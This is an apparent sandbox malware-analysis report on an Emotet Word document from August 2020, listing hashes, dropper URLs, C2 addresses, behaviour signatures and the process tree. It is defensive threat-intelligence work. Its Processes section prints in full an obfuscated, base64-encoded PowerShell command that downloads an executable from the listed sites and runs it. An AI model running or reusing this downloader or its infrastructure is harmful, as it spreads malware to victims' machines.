Analysis

  • max time kernel
    135s
  • max time network
    138s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    17/08/2020, 19:02

General

  • Target
    emotet_e1_201b17de99f93a5fa3807f62e4e862b2ab1b07126ee25a8fb255e5d2c4527375_2020-08-17__190020._doc.doc
  • Size 239KB
  • Sample200817-askax1k2be
  • SHA256 201b17de99f93a5fa3807f62e4e862b2ab1b07126ee25a8fb255e5d2c4527375
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://ukasian.com/wp-admin/Znk3yozl/

  • exe.dropper

    http://techwala.net/wp-admin/tKX319361/

  • exe.dropper

    http://schladzalniki.eko-bart.pl/cgi-bin/7f53903/

  • exe.dropper

    https://mte1.cn/wp-includes/PkuVF1RiI/

  • exe.dropper

    http://topkadry.com.ua/cgi-bin/dhH718397/

Extracted

Family
  • emotet

C2
  • 45.173.88.33:80

  • 209.126.6.222:8080

  • 5.153.250.14:8080

  • 77.90.136.129:8080

  • 104.131.41.185:8080

  • 190.190.148.27:8080

  • 95.85.151.205:80

  • 46.28.111.142:7080

  • 91.222.77.105:80

  • 80.249.176.206:80

  • 83.169.21.32:7080

  • 213.60.96.117:80

  • 185.94.252.27:443

  • 89.32.150.160:8080

  • 12.162.84.2:8080

  • 81.198.69.61:80

  • 85.105.140.135:443

  • 202.4.57.96:80

  • 147.91.184.91:80

  • 192.241.143.52:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 4 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_201b17de99f93a5fa3807f62e4e862b2ab1b07126ee25a8fb255e5d2c4527375_2020-08-17__190020._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:4012
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABUAGgAMABjAGYAdAAzAD0AKAAnAFUAOABuAHoAJwArACcAagBnACcAKwAnAG8AJwApADsAJgAoACcAbgBlAHcALQBpAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQAZQBuAHYAOgB0AGUATQBwAFwATwBmAEYASQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIAZQBDAFQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAGMAdQByAGkAdABgAFkAcAByAGAATwBUAG8AQwBgAG8AbAAiACAAPQAgACgAJwB0AGwAcwAxACcAKwAnADIALAAgAHQAbABzADEAJwArACcAMQAnACsAJwAsACAAdABsAHMAJwApADsAJABXAF8AYgA2AHEAeQAxACAAPQAgACgAJwBWAGQANQB2ACcAKwAnADYANQAnACsAJwAwACcAKQA7ACQAVgB3AHYAdwAyAGwAcAA9ACgAJwBCAG8AbgAnACsAJwA3ADMANwByACcAKQA7ACQAUwB6AHQANAA5AGYAMAA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcAewAnACsAJwAwAH0ATwBmACcAKwAnAGYAaQBjAGUAMgAwADEAOQB7ADAAfQAnACkAIAAgAC0ARgBbAEMASABBAHIAXQA5ADIAKQArACQAVwBfAGIANgBxAHkAMQArACgAJwAuACcAKwAnAGUAeABlACcAKQA7ACQAWABlAGIAYgA0AGoAagA9ACgAJwBQAHUAYgBtADUAJwArACcAZQAzACcAKQA7ACQARQA0ADEAdABrAG8AeAA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBFAFQALgB3AGUAYgBDAEwAaQBFAG4AVAA7ACQAUQAzAGUAcgB3ADMAZwA9ACgAJwBoAHQAdABwACcAKwAnADoAJwArACcALwAvAHUAawBhAHMAaQBhAG4ALgBjAG8AbQAvAHcAcAAtACcAKwAnAGEAJwArACcAZABtAGkAbgAnACsAJwAvAFoAbgAnACsAJwBrACcAKwAnADMAeQBvAHoAbAAvACoAaAB0AHQAcAA6ACcAKwAnAC8ALwB0ACcAKwAnAGUAYwBoAHcAYQBsAGEALgAnACsAJwBuAGUAdAAnACsAJwAvAHcAJwArACcAcAAtACcAKwAnAGEAZAAnACsAJwBtAGkAbgAvACcAKwAnAHQASwBYADMAJwArACcAMQA5ADMANgAxAC8AJwArACcAKgBoAHQAdABwADoALwAvAHMAYwBoACcAKwAnAGwAYQAnACsAJwBkAHoAJwArACcAYQBsAG4AaQBrAGkALgBlACcAKwAnAGsAbwAtAGIAJwArACcAYQByAHQAJwArACcALgBwAGwALwAnACsAJwBjAGcAaQAtAGIAaQAnACsAJwBuAC8AJwArACcANwBmADUAMwAnACsAJwA5ADAAMwAvACoAaAAnACsAJwB0AHQAcABzACcAKwAnADoALwAvAG0AdABlACcAKwAnADEALgBjACcAKwAnAG4ALwB3AHAALQBpAG4AYwAnACsAJwBsAHUAZABlAHMALwBQAGsAdQBWAEYAJwArACcAMQBSAGkASQAvACoAaAB0AHQAJwArACcAcAA6AC8ALwB0AG8AJwArACcAcABrACcAKwAnAGEAZAByAHkALgBjAG8AbQAuAHUAJwArACcAYQAnACsAJwAvAGMAZwBpAC0AYgBpACcAKwAnAG4ALwBkACcAKwAnAGgASAA3ADEAJwArACcAOAAzADkANwAnACsAJwAvACcAKQAuACIAUwBwAEwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABHAHIAagB1ADkAZwB6AD0AKAAnAE0AZwAnACsAJwB3ADcANAAnACsAJwB0ADEAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAVgA0AGEAZQBkADEAMAAgAGkAbgAgACQAUQAzAGUAcgB3ADMAZwApAHsAdAByAHkAewAkAEUANAAxAHQAawBvAHgALgAiAEQAbwBXAG4AYABMAE8AYABBAEQARgBJAGwARQAiACgAJABWADQAYQBlAGQAMQAwACwAIAAkAFMAegB0ADQAOQBmADAAKQA7ACQAUQB3AHoAMgA0ADkAegA9ACgAJwBKADgAXwBnAGsAJwArACcAZABtACcAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABTAHoAdAA0ADkAZgAwACkALgAiAEwARQBgAE4AZwBUAEgAIgAgAC0AZwBlACAAMwA5ADIANAA4ACkAIAB7AC4AKAAnAEkAJwArACcAbgB2AG8AawBlAC0AJwArACcASQB0AGUAbQAnACkAKAAkAFMAegB0ADQAOQBmADAAKQA7ACQATQB3AGsAeAA4AGoAMgA9ACgAJwBPACcAKwAnAHUAdwAnACsAJwB4AG8ANwBkACcAKQA7AGIAcgBlAGEAawA7ACQAQwB6AGkAcABiAGUAbQA9ACgAJwBSAGgAYgAnACsAJwBnACcAKwAnAHMAaABvACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUQBqAG0AOABwAGwAMgA9ACgAJwBZAGwAaQAnACsAJwBuAGQAOQBfACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:396
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Vd5v650.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Vd5v650.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3224
      • C:\Windows\SysWOW64\CloudNotifications\kbd101c.exe
        "C:\Windows\SysWOW64\CloudNotifications\kbd101c.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:2904

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/396-8-0x0000025336E30000-0x0000025336E31000-memory.dmp

        memory/396-6-0x00007FFCB6490000-0x00007FFCB6E7C000-memory.dmp

        memory/396-7-0x0000025336C80000-0x0000025336C81000-memory.dmp

        memory/2904-15-0x0000000000AB0000-0x0000000000ABC000-memory.dmp

        memory/3224-12-0x0000000000A60000-0x0000000000A6C000-memory.dmp

        memory/4012-5-0x0000020B0653F000-0x0000020B06542000-memory.dmp

        memory/4012-4-0x0000020B06E1E000-0x0000020B06E21000-memory.dmp

        memory/4012-0-0x00007FFCC2130000-0x00007FFCC27F6000-memory.dmp

        memory/4012-3-0x0000020B06E1E000-0x0000020B06E21000-memory.dmp

        memory/4012-2-0x0000020B06E1E000-0x0000020B06E21000-memory.dmp

        memory/4012-1-0x0000020B06E1C000-0x0000020B06E1E000-memory.dmp